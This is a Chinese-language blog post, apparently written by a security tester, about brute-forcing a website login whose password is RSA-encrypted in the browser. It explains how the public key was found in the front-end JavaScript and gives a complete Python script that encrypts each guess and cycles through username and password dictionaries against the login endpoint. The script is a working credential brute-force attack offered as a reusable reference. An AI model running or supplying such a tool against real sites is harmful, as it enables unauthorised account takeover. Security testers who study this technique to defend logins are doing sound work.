背景:
在對某網站進行安全測試的時候,發現登錄密碼是加密的,而且同一密碼每登錄一次生成的密文都不相同,用Burp對登錄接口進行重放,發現並沒有什麼限制,由此初步推斷是可以進行暴力破解的。但是由於密碼是加密的,使用Burp的暴力破解模塊無能爲力,於是自己用Pyhon編寫了個暴力破解的腳本。
分析:
在用Burp對登錄接口進行重放時,刪除了一些參數,都未對響應結果產生影響。由此推斷,要暴力破解,只需搞定密碼是怎麼加密的然後模擬加密就OK了。其實從加密字符串的長度以及每次加密結果不同就可以初步推斷這應該是非對稱加密。再大膽點推測,這就是RSA加密。
谷歌開發者工具簡單分析前端JS
1、點擊“登錄”按鈕時密碼會自動變長(加密),同時執行登錄。由此可以判斷加密是在“登錄”這個按鈕的點擊事件上執行的函數。
2、找到onclick事件的函數,在右側的Event Listeners選項卡找到這個事件所在的JS文件。
3、在該頁面搜索點擊事件的函數
4、找到RSA公鑰及依賴JS庫
模擬登陸
要模擬登陸,我使用了兩種方法:
1、把加密所需要的JS文件都提取出來,用Python操作JS去執行加密,然後把加密後的字符串提取出來,再用Python進行登錄。然而此例的JS代碼量比較大,用瀏覽器模擬加密時沒有問題。而用Python去操作JS容易出錯(我沒成功)而且效率低下,於是使用下面第二種方法。
2、用Python進行RSA加密然後再模擬登錄。今天的代碼就是這種方法模擬登錄進行暴力破解。
代碼
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# @Time :2020/1/16 10:29
# @Author :Donvin.li
# @File :rsalogin.py
import rsa
import requests
#import threading
# proxies = {'http': 'http://127.0.0.1:8080',
# 'https': 'http://127.0.0.1:8080'}
def login(usr,psd):
passd=get_rsa_result(psd)
s=requests.session()
headers={'Host': 'e.xxxx.com',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
'Accept': 'application/json, text/javascript, */*; q=0.01',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'http://e.xxxx.com',
'Connection': 'close',
'Referer': 'http://e.xxxx/portal/',
}
postdata={'lang':'cn','userid':usr,'pwd':passd,'cmd':'CLIENT_USER_LOGIN','sid':'','deviceType':'pc','_CACHE_LOGIN_TIME_':'1579162050273','pwdEncode':'RSA','timeZone':'-8'}
url='http://e.xxxx.com/portal/r/jd'
rs=s.post(url,postdata,headers=headers)
result=rs.text
if 'error' not in result:
print('Login sucessful:'+usr+':'+psd)
else:
print('Not this!')
def get_rsa_result(content):
"""
根據 模量與指數 生成公鑰,並利用公鑰對內容 rsa 加密返回結果
:param e:指數
:param n: 模量
:param content:待加密字符串
:return: 加密後結果
"""
n = "8bcbceb956d3d6c0da8cd8847e50796eac0fb3d67d4901820fa85dcd8edbb30bd25966eb18223e1ace1308da181897df4559bf97cca6ae9a33a0baf6f53324334a385d2a7cbc186fb5070045080b6c948423e7ddcd795ac9eaa438317772f4a948409ecec92dfe222a10b4c327e8d0e494cc0aa42ebc786030a105da0637049d"
e = "10001"
e = int(e, 16)
n = int(n, 16)
pub_key = rsa.PublicKey(e=e, n=n)
m = rsa.encrypt(content.encode(), pub_key)
#print(m.hex())
return m.hex()
def Brute(ufile,pfile):
userfile=open(ufile,'r')
passdfile=open(pfile,'r')
for user in userfile:
usr=user.strip()
passdfile.seek(0)
#print(usr)
for passd in passdfile:
psd=passd.strip()
#print(usr,psd)
login(usr,psd)
if __name__ == '__main__':
Brute('u.txt','p.txt')
使用
u.txt是用戶名字典,p.txt是密碼字典。
本例沒有通用性,代碼量也非常少,可作爲RSA加密登錄的暴力破解方法的參考,當然,一些環境中無論是加密還是登錄都比這個可能要複雜。關鍵是分析前端JS。